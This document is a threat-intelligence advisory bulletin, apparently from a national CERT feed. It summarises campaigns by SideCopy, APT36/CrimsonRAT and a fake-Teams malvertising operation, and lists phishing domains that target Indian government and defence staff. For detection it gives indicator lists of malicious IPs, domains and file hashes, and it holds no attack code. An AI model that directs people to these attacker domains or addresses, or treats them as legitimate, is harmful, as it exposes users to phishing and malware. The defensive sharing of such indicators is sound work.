\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-APT-2025-01-30-011**

APT SideCopy is known for deploying ActionRAT malware to target individuals and organizations. It aims to steal sensitive information and conduct espionage. This group is particularly notable for its spear-phishing campaigns and the deployment of custom malware to compromise target systems. Adversary is actively targeting government and military officials to steal sensitive information through a combination of malicious techniques and sophisticated spear-phishing campaigns, which aim to trick officials into executing infected attachments.

Common Features of SideCopy Threat Actor:

    Spear-Phishing (highly targeted and convincing phishing emails to trick victims)

    Information Theft (documents, credentials, and personal data)

    Remote Access

    Credential Harvesting

    Data Exfiltration

    Persistence Mechanisms

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IP**:

154.38.175.83

**Domain:**

wallkings.in

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2025-01-30-036**

It has been observed that threat actors have used Bing Ads to redirect users to fake Microsoft Teams pages, tricking them into downloading malicious JavaScript files that acted as downloaders for additional payloads. These payloads established persistence and facilitated malicious activities. Attackers have used domains resembling official Microsoft websites. Malicious JavaScript file initiated contact with a C2 server, delivering further payloads such as PowerShell scripts and TeamViewer. Persistence is established by creating shortcuts in the Windows Startup directory. Attackers have abused legitimate software tools like TeamViewer to evade detection.

**MITRE ATT&CK Identifier**

T1203 (Exploitation for Client Execution)

T1055 (Process Injection)

T1105 (Ingress Tool Transfer)

T1547.001 (Persistence via Registry Run Keys or Startup Folder)

T1573 (Encrypted Channel Communication)

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IPs:**

5.252.153.241

**Domains:**

microsoftteamsdownload.burlesonappliance.net

microsoft.teamslive.com

**Hash:**

4bed34b1cd5663a5a857b3bbf81cc5413c61cb561e9a90067b57da08b01ae70b

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-PHI-2025-01-30-017**

It has been observed that numerous phishing domains/sub-domains have been registered by cyber threat actors. These domains intend to target personnel belonging to the government, defence, central investigating agencies and the judiciary.

Please find below malicious domains that are targeting Critical Sector Entities (CIIs).

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

Domains:

indianarmy.nico.in

nicmail.nico.in

niconline.nico.in

odishalandrevenue.nico.in

ojspm.raj.nico.in

raj.nico.in

shop.nicmail.nico.in

www.cara.nico.in

www.indianarmy.nico.in

\u0016cara.nico.in

cbseitms.nico.in

hpkv.hp.nico.in

email.gov.in.departmentofdefence.link

bnd.ndmc.gov.in.viewcrt.info

\*.departmentofdefence.link

\*.viewcrt.info

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-APT-2025-01-30-012**

APT36 a.k.a. Transparent Tribe is deploying CrimsonRAT, a Remote Access Trojan (RAT) for cyber-espionage activities, particularly against government, defense, and military targets. CrimsonRAT allows attackers to remotely control infected systems, steal sensitive information, log keystrokes, capture screenshots, and exfiltrate data.

**Common Features of APT36 Threat Actor:**

* Spear-Phishing (highly targeted and convincing phishing emails to trick victims)
* Information Theft (documents, credentials, and personal data)
* Remote Access
* Credential Harvesting
* Data Exfiltration
* Persistence Mechanisms

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IPs:**

172.86.109.207

45.61.158.240

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **VA-2025-01-30-012**

Please find attached pdf of the Prominent Vulnerability List, which comprises a list of vulnerabilities present in cyberspace recently along with affected products, vulnerability descriptions and availability of patches.

**File Name:** Prominent Vulnerability List.pdf

**SHA256:** 9a1a4f52ae2adf9ba1fc8c61a61e4bba0bd4769c22e148389054c2724d466f74

**Reference**:   CERT-IN [CMTX-P-VUL-012025518]